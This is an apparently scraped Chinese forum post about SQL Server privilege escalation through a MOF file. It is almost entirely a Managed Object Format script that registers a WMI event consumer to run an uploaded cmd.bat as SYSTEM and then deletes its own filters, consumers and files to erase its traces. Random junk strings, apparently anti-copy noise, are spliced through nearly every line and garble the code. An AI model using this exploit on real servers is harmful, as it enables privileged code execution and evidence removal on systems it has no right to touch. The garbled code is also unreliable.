这个sql提权MOF需要运行 system下的文件,不能定义路径。* R2 W, @7 [; e& d& w, ]4 Q
需要将要运行的命令写入到bat上传到system32目录,然后执行。
# _. _ z5 a* ?' H& D; |/ Q1 k; X5 x2 v, L9 }: E- s; h
这个sql提权MOF需要运行 system下的文件,不能定义路径。1 \$ `# h" Q* {; o0 b+ Z+ ~1 r
需要将要运行的命令写入到bat上传到system32目录,然后执行。' j9 l x4 Z+ u" x/ i( @
: _9 j* @5 O/ @6 a/ }7 n D
#pragma
5 w' x- W( N6 u namespace("\\\\.\\root\\cimv2")
, S% S8 L2 y4 _ class
5 X3 }$ r1 O5 ^+ Z4 ?+ C MyClass547
4 @0 h1 ?9 [; c1 Q) v { [key]. j1 o6 @0 r8 ?- f) B
string
. `) j; m+ `7 ] Name;
: p }) r* ?3 j* X; g };7 c! M' X7 \2 s
class# q9 Y+ ]2 z: Z: \: m
ActiveScriptEventConsumer
+ Q# i: B$ y3 h" G : __EventConsumer { [key]
! p, F( t% A1 _- X string6 t1 p" U& H+ z. x+ Y$ Q
Name; [not_null]
- q1 N. Z0 e0 P0 f. A! n string
K4 C6 z+ b) y0 K. L8 k ScriptingEngine; string
8 p9 D k x6 i2 S ScriptFileName; [template]
% d5 k0 \% B. G" f8 z/ e8 G0 b& L' i string; J9 k- m" O, _* ]
ScriptText; uint32 KillTimeout;
- K5 Z! Z8 ]8 I1 c9 | }; instance of __Win32Provider as $P {: z6 ^8 {) p ?6 b& |
Name! `% u, E* u$ O7 u
=
" ^0 m) X ~; s! X! c "ActiveScriptEventConsumer"; CLSID =# }! h% J, k3 ]. J; X( t) q
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";( o# I; u _& S7 \9 P+ O
PerUserInitialization
2 X$ r0 b0 K1 j$ [ = TRUE;7 P8 x8 B( `8 Q. J' J
}; instance of __EventConsumerProviderRegistration { Provider K' k7 ~2 p g2 c" F5 L
= $P; ConsumerClassNames( B" O& ]( z% L1 U$ h
=
! X, V1 B1 j7 S5 {: H {"ActiveScriptEventConsumer"};& v6 E% h+ o; I
};
1 i) N" V" h; `% h# A+ q- A Instance of ActiveScriptEventConsumer
( R: B$ B% @5 r% i# U | as $cons { Name
9 f. @% q+ g" |0 S* R4 U" u =
" k9 { ?4 _) [* Q* {5 w; ]9 z "ASEC"; ScriptingEngine4 B* b0 Z* J% L( J4 Y8 t
=3 a0 k5 i# S5 j, Q8 y0 \) W
"JScript"; ScriptText8 o$ B; L( U' F
=) l( k2 B4 h2 n: @
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };! \+ e2 T% I6 T9 |9 I) `' K- V# O
Instance of ActiveScriptEventConsumer
: G! }) ]. Q4 e: f1 J as $cons2 { Name! C* R' I/ C7 l& M1 h. Y# O9 S' B1 b
=1 |1 P' L/ X' R
"qndASEC"; ScriptingEngine
6 p) E# }8 K5 g7 @- a =
5 t* l6 P; ^3 A4 ~* d4 k( x "JScript"; ScriptText6 e3 q( b M6 w h# y% k0 C2 C
=
/ e- E- E& k" L; S8 Y6 x A. H9 k "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";1 q! q' H" _7 W2 y: N$ S
}; instance of __EventFilter as $Filt { Name
7 k p3 q6 O6 @ =
( k/ y/ T G1 {) F "instfilt"; Query
+ v S0 w4 C7 x l$ G =
* N; p' i: O, X0 t' ` "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage* {) s. Q+ g' T8 a
=, A$ H ^( Y I+ `% L$ H+ c
"WQL"; }; instance of __EventFilter as $Filt2 { Name
& W! @: J( {( o% Z- { =5 _& D7 T9 u) M" k7 @9 P$ X
"qndfilt"; Query
: w4 h5 n/ R# ^. Q/ Y/ Q+ m =$ i/ s x, d6 |
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
/ v6 o, I, S. Z# T1 D A" J =4 N8 b/ Y* M+ B! m$ S3 m
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
9 ]* c4 U: q q$ o4 H = $cons; Filter% x, M& J5 K7 r$ r
= $Filt;
4 s: m1 C& Y. m$ I }; instance of __FilterToConsumerBinding as $bind2 { Consumer
% N% P" ]# k- K; S v0 ~: Q = $cons2; Filter( S1 h( w5 G4 n: o. A
= $Filt2;
( p$ Q8 [( p8 l+ `5 J }; instance of MyClass547+ e3 N$ g8 W& ?& F+ e7 \
as $MyClass { Name: I7 E3 ~* S* ~, K+ L
=
. {5 ^& s! T! n' q "ClassConsumer";1 s1 D E0 R( F
}; |